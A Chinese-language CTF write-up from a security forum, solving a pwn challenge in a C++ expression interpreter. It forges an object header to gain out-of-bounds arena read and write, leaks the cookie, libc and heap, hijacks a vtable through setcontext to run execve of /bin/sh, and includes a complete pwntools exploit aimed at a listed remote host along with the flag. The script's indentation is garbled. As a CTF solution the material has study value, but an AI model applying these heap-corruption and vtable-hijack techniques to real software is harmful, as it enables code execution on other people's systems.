[原创] 第十题：卯时·曦光初现 WP-CTF对抗-看雪安全社区

[原创] 第十题：卯时·曦光初现 WP

发表于: 2026-8-23 14:43 1512

[原创] 第十题：卯时·曦光初现 WP

mxym_

2026-8-23 14:43

1512

# 第十题：卯时·曦光初现

## 题目分析

题目程序是一个用 C++ 写的简易表达式解释器，支持 256 个变量寄存器，语法包括：

- 数字赋值
- 列表字面量
- 下标读取
- 下标写入
- 算术和位运算

保护全开：

```text
Arch:       amd64
RELRO:      Full RELRO
Stack:      Canary
NX:         Enabled
PIE:        Enabled
```

程序把对象序列化到一块固定大小的 arena 中，arena 大小是 `0x10000`。变量里保存的值分两类：

1. 普通数字，直接是 64 位整数。
2. 对象引用，高 16 位固定为 `0x1337`，低 48 位是 arena 内地址：

```text
0x1337000000000000 | addr
```

列表在 arena 中的格式是连续的 qword 流：

```text
header = (0xbeef000000000000 | length) ^ cookie
elem   = real_value ^ cookie
```

这里的 `cookie` 在程序启动时从 `/dev/urandom` 读入。

还有一个很关键的细节：数字字面量在写入 arena 时只保留低 48 位，但是变量寄存器里的运算结果是完整的 64 位。因此可以先构造出 `2^48`，再通过乘法和加法在寄存器里拼出完整的高位常量。

## 漏洞点

列表读写最终都是在 arena 的序列化数据上做遍历。程序判断“当前元素是不是子对象”时，只看解码后的高 16 位是不是 `0xbeef`，并且完全信任 header 里的长度。

这意味着只要把一个普通整数槽位改写成：

```text
0xbeef000000000000 | fake_length
```

解释器就会把这个普通整数当成一个超长子对象继续向后遍历。

原本的对象边界是：

```text
[ real header ][ elem0 ][ elem1 ] ...
```

伪造以后会变成：

```text
[ real header ][ fake header ][ 后续任意 qword 全都被当成 fake object 内容 ]
```

这样就得到了 arena 内任意偏移的读写能力，而且可以继续越过 `0x10000` 的 arena 边界访问后面的 glibc 堆。

## 伪造 fake object 并拿到 cookie

先初始化一个只有一个元素的列表：

```text
$1=[0]
```

然后在寄存器里构造 `0xbeef000000004000`。构造方法和最终 exp 完全一致：

```text
$10=281474976710655
$11=1
$10+$11
$12=48879
$10*$12
$13=16384
$10+$13
```

这几步之后，`$10` 的值就是：

```text
0xbeef000000004000
```

把它写进 `$1[0]`：

```text
$1[0]=$10
```

此时 `$1[0]` 已经不是普通数字，而是一个伪造出来的超长对象头。后续访问：

```text
$1[0][i]
```

实际对应的是 arena 里的：

```text
arena_base + 0x10 + i * 8
```

也就是：

```text
idx(off) = (off - 0x10) // 8
```

接着读取：

```text
$20=$1[0][0]
```

这里会读到 `arena_base + 0x10` 这一格。这个位置尚未使用，原始内容是 0，于是解释器返回的值就是：

```text
0 ^ cookie = cookie
```

于是 `$20` 中拿到了完整的 `cookie`。

## 伪造 unsorted chunk，泄露 libc

真实利用链里，最终被劫持的对象是一个 `SetField AST`，它在稳定布局下位于：

```text
0x102d0
```

对应的 chunk 头在：

```text
0x102c0
```

exp 里把这个 chunk 的大小伪造成 `0x501`，并在后面补一组能通过 glibc 检查的假 chunk 元数据：

```python
ast = 0x102d0
chunk = ast - 0x10
nextc = chunk + 0x500

write_raw_const64(nextc + 0x0, 0x500)
write_raw_const64(nextc + 0x8, 0x21)
write_raw_const64(nextc + 0x20, 0x20)
write_raw_const64(nextc + 0x28, 0x21)
write_raw_const64(chunk + 0x8, 0x501)
```

这样一来，这个对象在析构时会按大 chunk 进入 unsorted bin。

在当前题目的稳定堆布局下，读取：

```text
heap + 0x10310
```

可以拿到 unsorted bin 写入的 `fd` 指针。这个值不是原始指针，而是：

```text
raw_fd ^ cookie
```

所以要先和 `$20` 异或，才能还原出真实地址：

```text
$30=$1[0][idx(0x10310)]
$30^$20
```

还原后的值是：

```text
libc_base + 0x3ebca0
```

因此：

```text
libc_base = leak - 0x3ebca0
```

## 泄露 heap

arena 后面的稳定布局里还有一个现成的堆指针，位于：

```text
0x102e8
```

读取后同样先和 cookie 异或：

```text
$40=$1[0][idx(0x102e8)]
$40^$20
```

还原出的真实值是：

```text
heap_base + 0x102b0
```

所以：

```text
heap_base = leak - 0x102b0
```

拿到 `libc_base` 和 `heap_base` 之后，后面的地址都可以直接算出来。

## fake vtable + setcontext

最终控制流劫持点是 `SetField AST` 的虚表指针。主循环在执行完 AST 以后会调用虚表里的析构函数：

```text
[vtable + 0x10]
```

因此做法很直接：

1. 在堆上放一个 fake vtable。
2. 令 `fake_vtable + 0x10 = setcontext + 0x35`。
3. 把目标 AST 的 `vptr` 覆盖为 fake vtable。

exp 中使用的固定布局是：

```text
fake_vtable = heap_base + 0x200
fake_stack  = heap_base + 0x1000
cmd         = heap_base + 0x1200
dash_c      = heap_base + 0x1280
argv        = heap_base + 0x1300
```

`setcontext+0x35` 的作用是从指定内存中恢复寄存器，然后跳到新的 `rip`。需要布置的关键字段如下：

```text
FINAL_AST + 0x68  -> rdi = "/bin/sh"
FINAL_AST + 0x70  -> rsi = argv
FINAL_AST + 0x88  -> rdx = 0
FINAL_AST + 0xa0  -> rsp = fake_stack
FINAL_AST + 0xa8  -> rip = execve
```

其中：

- `"/bin/sh"` 直接用 libc 内现成字符串，偏移是 `0x1b3d88`
- `execve` 偏移是 `0xe4ae0`
- `setcontext+0x35` 是 `0x52085`

命令行参数组织成：

```text
argv = [
    "/bin/sh",
    "-c",
    "cat /flag;cat flag;cat /home/ctf/flag;id",
    NULL
]
```

fake stack 的第一个 qword 放 `exit`，这样 `execve` 如果失败返回，也不会立刻跑飞。

最后一步只需要把：

```text
FINAL_AST + 0x0
```

覆写成 fake vtable 地址。对象析构时会跳到 `setcontext+0x35`，随后直接进入：

```text
execve("/bin/sh", argv, NULL)
```

## 利用流程

完整流程可以概括成：

## Exp

```python
#!/usr/bin/env python3
from pathlib import Path
from pwn import *
import argparse
import os
import re

HOST = "123.57.66.184"
PORT = 10001

MASK48 = (1 << 48) - 1
OFF_UNSORTED = 0x3EBCA0
OFF_SETCONTEXT = 0x52050 + 0x35
OFF_EXIT = 0x43110
OFF_EXECVE = 0xE4AE0
OFF_BINSH = 0x1B3D88

FAKE_VTABLE = 0x200
FAKE_STACK = 0x1000
CMD_OFF = 0x1200
DASHC_OFF = 0x1280
ARGV_OFF = 0x1300
FINAL_AST = 0x102D0

ROOT = Path(__file__).resolve().parent

def build_payload(command: bytes):
    if not command.endswith(b"\x00"):
        command += b"\x00"

cmds = []

def emit(s):
        cmds.append(s.encode())

def setr(reg, value):
        assert 0 <= value < (1 << 64)
        emit(f"${reg}={value}")

def op(dst, oper, src):
        emit(f"${dst}{oper}${src}")

def copy(dst, src):
        emit(f"${dst}=${src}")

def idx(off):
        return (off - 0x10) // 8

def setfield_idx(i, src):
        emit(f"$1[0][{i}]=${src}")

def reg_add_const(dst, base, constv, tmpc=51):
        copy(dst, base)
        setr(tmpc, constv)
        op(dst, "+", tmpc)

def build_2p48(reg=90, tmp=91):
        setr(reg, MASK48)
        setr(tmp, 1)
        op(reg, "+", tmp)

def const64_to_reg(dst, value, powreg=90, tmp=22):
        hi = value >> 48
        lo = value & MASK48
        if hi:
            setr(dst, hi)
            op(dst, "*", powreg)
            setr(tmp, lo)
            op(dst, "+", tmp)
        else:
            setr(dst, lo)

def write_raw_reg(off, src, tmp=52):
        copy(tmp, src)
        op(tmp, "^", 20)
        setfield_idx(idx(off), tmp)

def write_raw_const64(off, value, tmp=21):
        const64_to_reg(tmp, value)
        op(tmp, "^", 20)
        setfield_idx(idx(off), tmp)

def qwords(data):
        data += b"\x00" * ((8 - len(data) % 8) % 8)
        return [int.from_bytes(data[i:i + 8], "little") for i in range(0, len(data), 8)]

emit("$1=[0]")
    setr(10, MASK48)
    setr(11, 1)
    op(10, "+", 11)
    setr(12, 0xBEEF)
    op(10, "*", 12)
    setr(13, 0x4000)
    op(10, "+", 13)
    emit("$1[0]=$10")
    emit("$20=$1[0][0]")
    build_2p48(90, 91)

ast = FINAL_AST
    chunk = ast - 0x10
    nextc = chunk + 0x500
    for off, value in [
        (nextc + 0x0, 0x500),
        (nextc + 0x8, 0x21),
        (nextc + 0x20, 0x20),
        (nextc + 0x28, 0x21),
    ]:
        write_raw_const64(off, value)
    write_raw_const64(chunk + 0x8, 0x501)

emit(f"$30=$1[0][{idx(0x10310)}]")
    op(30, "^", 20)
    setr(31, OFF_UNSORTED)
    op(30, "-", 31)

emit(f"$40=$1[0][{idx(0x102E8)}]")
    op(40, "^", 20)
    setr(41, 0x102B0)
    op(40, "-", 41)

reg_add_const(70, 40, FAKE_VTABLE)
    reg_add_const(71, 40, FAKE_STACK)
    reg_add_const(72, 40, CMD_OFF)
    reg_add_const(73, 30, OFF_BINSH)
    reg_add_const(74, 40, DASHC_OFF)
    reg_add_const(75, 40, ARGV_OFF)

for i, q in enumerate(qwords(command)):
        write_raw_const64(CMD_OFF + 8 * i, q, 21)
    write_raw_const64(DASHC_OFF, int.from_bytes(b"-c\x00\x00\x00\x00\x00\x00", "little"), 21)
    write_raw_reg(ARGV_OFF + 0x0, 73, 52)
    write_raw_reg(ARGV_OFF + 0x8, 74, 52)
    write_raw_reg(ARGV_OFF + 0x10, 72, 52)
    write_raw_const64(ARGV_OFF + 0x18, 0, 21)

reg_add_const(50, 30, OFF_SETCONTEXT)
    write_raw_reg(FAKE_VTABLE + 0x10, 50, 52)
    reg_add_const(50, 30, OFF_EXIT)
    write_raw_reg(FAKE_STACK, 50, 52)

write_raw_reg(FINAL_AST + 0x68, 73, 52)
    write_raw_reg(FINAL_AST + 0x70, 75, 52)
    write_raw_const64(FINAL_AST + 0x88, 0, 21)
    write_raw_reg(FINAL_AST + 0xA0, 71, 52)
    reg_add_const(50, 30, OFF_EXECVE)
    write_raw_reg(FINAL_AST + 0xA8, 50, 52)
    write_raw_reg(FINAL_AST + 0x0, 70, 52)

return cmds

def run(command: bytes):
    io = remote(HOST, PORT)
    cmds = build_payload(command)
    for cmd in cmds:
        io.recvuntil(b"> ", timeout=4)
        io.sendline(cmd)
    data = io.recvall(timeout=8)
    print(data.decode("latin-1", errors="replace"))
    return data

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--cmd", default=os.environ.get("CMD", "cat /flag;cat flag;cat /home/ctf/flag;id"))
    args = parser.parse_args()

data = run(args.cmd.encode())
    match = re.search(rb"(?:flag|FLAG|KCTF|kctf)\{[^}\n]+\}", data)
    if match:
        print("FLAG:", match.group(0).decode())

if __name__ == "__main__":
    main()
```

## Flag

```text
flag{c425a369-43c7-4f48-9472-0d3a1c84d882}
```

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

收藏・0

点赞・6

打赏